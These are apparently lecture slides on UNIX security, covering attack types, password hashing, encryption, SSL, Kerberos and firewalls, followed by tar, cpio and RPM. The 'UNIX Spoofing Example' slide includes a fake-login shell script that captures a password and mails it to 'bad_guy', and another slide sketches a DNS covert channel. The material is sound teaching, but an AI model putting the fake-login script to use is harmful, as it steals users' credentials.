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Lecture 11: 

Lecture 11 UNIX Security

Important Aspects of Security: 

Important Aspects of Security Authentication: Make sure someone is who they claim to be Authorization: Make sure people can’t do things they’re not supposed to do Policy: Make sure data is accessible to only those authorized to see it Integrity: Make sure data is protected against corruption or loss

Head-in-the-Sand Approach: 

Head-in-the-Sand Approach Disable all connections to/from the outside Only accessible from direct-wired terminal Machine and terminal in shielded room Guard at the door Secure, but useless!

Types of Security Risks: 

Types of Security Risks Physical Worms and Trojan horses Social engineering Snooping / Sniffing Spoofing Denial of Service Covert channels

Physical Security: 

Physical Security Easiest attack: Someone who didn’t log off or lock their screen Breaking into Prof. Lee’s office Looking over someone’s shoulder Steal passwords Advanced spying techniques

Worms and Trojan Horses: 

Worms and Trojan Horses Trojan Horse: A program that compromises security by pretending to be an innocuous program. Virus: Malicious code that modifies to other non-malicious programs Worm: Malicious code that spreads by itself from one machine to another

Social Engineering: 

Social Engineering (aka lying) Maybe the easiest way to breach security Phony phone calls Wandering hallways Hard to avoid: Educate people with privileged information Limit information available

Snooping: 

Snooping By listening in, you can pick up all kinds of info: passwords, etc. This is incredibly easy to do: TCP/IP is unencrypted, passes through lots of machines Packet sniffers are easy to obtain Back Orifice

Spoofing: 

Spoofing An attacker creates a misleading context to trick the victim Example: Fake ATM machines Lying about origination IP address and user id in rsh/rcp/rlogin commands Tricks the .rhosts file Spoofed web pages / email Take advantage of mistyped pages Pretend to be “official PayPal pages” requiring login and password

UNIX Spoofing Example: 

UNIX Spoofing Example Fake login screen: #!/bin/ksh print –n “login: ” read login print –n “Password:” stty –echo read passwd stty +echo print “$login:$password” | mail bad_guy print “\nLogin incorrect” exit login: jlk Password: Login incorrect login: jlk Password: Last login ...

Denial Of Service: 

Denial Of Service Not to gain access, but to deny access for legitimate users malice, revenge, personal gain Example: send echo request with forged source address Example: fill up logs Example: SYN+ACK, start a TCP connection but never acknowledge. Server keeps resources around until timeout (3 minutes) DDOS: Distributed Denial of Service Attacks

Covert Channels: 

Covert Channels A covert channel is some way of getting information other than direct reads and writes. Example: Sun’s Java Sandbox Exploits DNS: yes: lookup IP for yes.hacker.org no: lookup IP for no.hacker.org

Brute Force: 

Brute Force Hackers “war-dial”: try out exhaustive lists of IP addresses, ports People forget to set permissions on files Example: leaving a file readable Who’s that bored to be looking at my files? Answer: a shell script or cron job find / -print | xargs egrep ‘abcd’ /dev/null

Exploit Known Problems: 

Exploit Known Problems Some people leave default passwords intact Example: Routers Security bugs are made public after patches are available, but not everyone patches Web searches

Security Is Tricky: 

Security Is Tricky This subtle bug appeared on an old system, which contained a system call for authentication: auth(char *user, char *password) Password checked in clear text: The trick: Use segfaults as covert channel p a s s w o r d p x bad address p a bad address Returns failure Crashes

Orange Book Security: 

Orange Book Security Government has official well-specified levels of security called “Orange Book Security” C-2: Minimal Security A-1: Highest Security Not yet implemented in any system Involves elaborate logging and monitoring Higher levels devote more CPU time to this than anything else OpenBSD provides level C2 security

UNIX Passwords: 

UNIX Passwords Passwords are encrypted with a one-way-function: f(password) = encrypted-password No inverse Stored in /etc/password (or /etc/shadow) Uses a salt: f(salt, password) = encrypted-password Salt is first two bytes of encrypted password s9dl30c3LPqV Harder to grep for common passwords

How to Crack Passwords: 

How to Crack Passwords Brute force works well Common passwords Combinations of name Go through dictionary Try every key

Avoiding Password Cracking: 

Avoiding Password Cracking Have the passwd program: Try to crack the password Enforce minimum lengths Use /etc/shadow Occasionally run password crackers Expiration dates? Controversial

Scripting Security Tips: 

Scripting Security Tips Setuid/setgid scripts are often useful for writing system administrative tasks. Make scripts as small as possible Be very careful in scripting Never put . or relative directories in PATH Do not use eval in your script Be careful about creating temporary files ksh: avoid file name expansion (set –o noglob) and word splitting (IFS='')

A Subtle Scripting Security Flaw: 

A Subtle Scripting Security Flaw #! works by invoking the first line of the script with first argument being the name of the script The danger: I make a symbolic link to a setuid shell script, and in between the invocation of the script and the execution of the #! program, I switch the contents. setuid link #!/bin/sh suid script link malicious contents time /bin/sh

CGI Attacks: 

CGI Attacks Do not trust anything you receive in a form Always check for special characters Don’t make assumptions about length Be careful constructing file names Input could have references to other directories Check for errors along the way

Encryption: 

Encryption Encryption allows data to be protected by converting it to a form that cannot be read without proper authentication.

The crypt command: 

The crypt command Works similar to the German Enigma f(clear) = cypher f(cypher) = clear crypt command works with stdin/stdout EG: crypt opensesame < mail > mail.enc Some UNIX editors can handle crypted files vi –x mail.enc Not secure cbw: Crypt breaker’s workbench

Public Key Encryption: 

Public Key Encryption Regular encryption (e.g., crypt, DES) : Encryption function E(key, plaintext) Decryption function D(key, cyphertext) D(key, E(key, plaintext)) = plaintext key is private Public key: public_key = f(key) E(public_key, plaintext) = E(key, plaintext) BUT D(public_key, cyphertext) != D(key, cyphertext) public_key made public, key kept private

Public Key Algorithms: 

Public Key Algorithms RSA System by Rivest, Shamir, Adleman Security dependent on difficulty of factoring large numbers PGP Pretty Good Privacy Similar to RSA, but also mixes in other approaches Gets around RSA patent and is free

How many bits do you need?: 

How many bits do you need? Always theoretically possible to simply try every key

Signatures: 

Signatures The dual of public key encryption D(public_key, plaintext) = D(key, plaintext) BUT E(public_key, cyphertext) != E(key, cyphertext) Verify software is not hacked Verify contents of email

Network Security: 

Network Security

Problems With Sockets: 

Problems With Sockets Easy to snoop Very dangerous for a telnet session, since password is typed in plaintext client server

The "r" commands: 

The "r" commands Commands rsh, rcp, rlogin introduced in Berkeley UNIX for network authentication Avoid sending passwords over network Verify user by checking if: Originating machine listed in /etc/hosts.equiv Originating port privileged User and machine listed in $HOME/.rhosts Problems: Files with wrong permissions Security problems propagate through network

Secure Sockets: 

Secure Sockets SSL = Secure Sockets Layer Behave just like regular TCP/IP sockets When a connection is made: Server sends public key to client Client sends public key to server Each side uses private key to decrypt incoming traffic, and the other’s public key to encrypt outgoing traffic Certificates Assure that a public key belongs to a who they claim

Secure Sockets Examples: 

Secure Sockets Examples ssh: Secure shell Opens a telnet session to a secure socket Also includes scp and sftp, replacements for rcp and ftp (somtimes r* commands replaced) https: Secure http Used on web for credit cards, etc.

The Internet Worm: 

The Internet Worm By Robert Morris Jr., 1988 Exploited a notorious C bug in programs sendmail, finger, rsh, etc: Buffer overflow gets is bad So is scanf

Kerberos: 

Kerberos System for clients to authenticate over insecure networks ssl problematic because: Private keys can be stolen Passphrases not transitive across hosts Not centralized Uses secret key encryption Concept of tickets issued by authentication server

Firewalls: The Theory: 

Firewalls: The Theory The larger the program, the more buggy (therefore less secure) it is. If you do not run a program, it is secure. Therefore, run as few programs as possible, and only small ones. How do you do this? Isolate them

Firewalls: 

Firewalls A barrier to protect resources inside a network from the outside A firewall examines each network packet to determine whether to forward it toward its destination or not. Can be hardware or software Also includes a proxy server: makes network requests on behalf of users inside the firewall. Firewall internet office net

VPNs: 

VPNs Secure the transmission of IP datagrams through uncontrolled an untrusted networks. Encrypt TCP/IP traffic at very low level Machine using VPN appears to be in local net of host machine Protocols IPsec L2TP PPTP MPLS

Thwarting attackers: 

Thwarting attackers Use log files (/var/adm) Look for statistical anomalies Rules to detect suspicious behavior Check backups Packet filtering Watch hackers (Berford) Think like the hacker Join hacker mailing lists, web sites Try to break into your own system Are hacking tools good or bad?

Security Through Obscurity: 

Security Through Obscurity An approach to security: Don't publish anything Purposely make complex Does not work well Hard to debug and analyze Flaws will be found, but more likely by hackers

Security Needs Trust: 

Security Needs Trust Ken Thompson Turing Award Speech “Reflections on Trust” How do you know if a program is secure? Look at the source code How do you know if the compiler is secure? Look at assembly code How do you know assembly is secure? ... until lowest levels of hardware if (recognize-special-code) compile-hacked(); else compile-normal();

Further Reading: 

Further Reading

Archives: 

Archives (If we have time)

tar: Tape ARchiver: 

tar: Tape ARchiver tar: general purpose archive utility (not just for tapes) Usage: tar [options] [files] Originally designed for maintaining an archive of files on a magnetic tape. Now often used for packaging files for distribution If any files are subdirectories, tar acts on the entire subtree.

tar: archiving files options: 

tar: archiving files options c creates a tar-format file f filename specify filename for tar-format file, Default is /dev/rmt0. If - is used for filename, standard input or standard output is used as appropriate v verbose output x allows to extract named files

tar: archiving files (continued): 

tar: archiving files (continued) t generates table of contents r unconditionally appends the listed files to the archive files u appends only files that are more recent than those already archived L follow symbolic links m do not restore file modification times l print error messages about links it cannot find

cpio: copying files: 

cpio: copying files cpio: copy file archives in from or out of tape or disk or to another location on the local machine Similar to tar Examples: Extract: cpio -idtu [patterns] Create: cpio -ov Pass-thru: cpio -pl directory

cpio (continued): 

cpio (continued) cpio -i [dtum] [patterns] Copy in (extract) files whose names match selected patterns. If no pattern is used, all files are extracted During extraction, older files are not extracted (unless -u option is used) Directories are not created unless –d is used Modification times not preserved with -m Print the table of contents: -t

cpio (continued): 

cpio (continued) cpio -ov Copy out a list of files whose names are given on the standard input. -v lists files processed. cpio -p [options] directory Copy files to another directory on the same system. Destination pathnames are relative to the named directory Example: To copy a directory tree: find . -depth -print | cpio -pdumv /mydir

pax: replacement for cpio and tar: 

pax: replacement for cpio and tar Portable Archive eXchange format Part of POSIX Reads/writes cpio and tar formats Union of cpio and tar functionality Files can come from standard input or command line Sensible defaults pax –wf archive *.c pax –r < archive

Distributing Software: 

Distributing Software Pieces typically distributed: Binaries Required runtime libraries Data files Man pages Documentation Header files Typically packaged in an archive: E.g., perl-solaris.tar or perl-solaris.tgz

RPM: 

RPM Red Hat Package Manager Originally for Linux, has been ported to other UNIX flavors Software distribution part of a package: Archive with binaries, documentation, libs, etc. Extra file with meta-information: What each file is What goes where Other software that must be installed first Version info Helps with upgrades and removal

RPM Functionality: 

RPM Functionality Install package: rpm –ivh package Upgrade package: rpm –Uvh package Freshen package: rpm –Fvh package Erase package: rpm –e package Query packages: rpm –q Build package: rpm –ta tarfile Verify package: rpm –V, rpm -K

Packaging Source: Autoconf: 

Packaging Source: Autoconf Produces shell scripts that automatically configure software to adapt to UNIX-like systems. Creates makefile Header files Check for: programs libraries header files typedefs structures compiler characteristics library functions system services

Installing Software From Tarballs: 

Installing Software From Tarballs tar xzf <gzipped-tar-file> cd <dist-dir> ./configure make make install

Other Development Tools: 

Other Development Tools Pretty Printers Reformats program code to make it easier to read Many options to accommodate multiple styles indent, cb, bcpp Reverse Engineering cxref, cflow, cscope Documentation Systems Doxygen See Program Checkers Detects possible bugs, non-portability, bad style, waste lint

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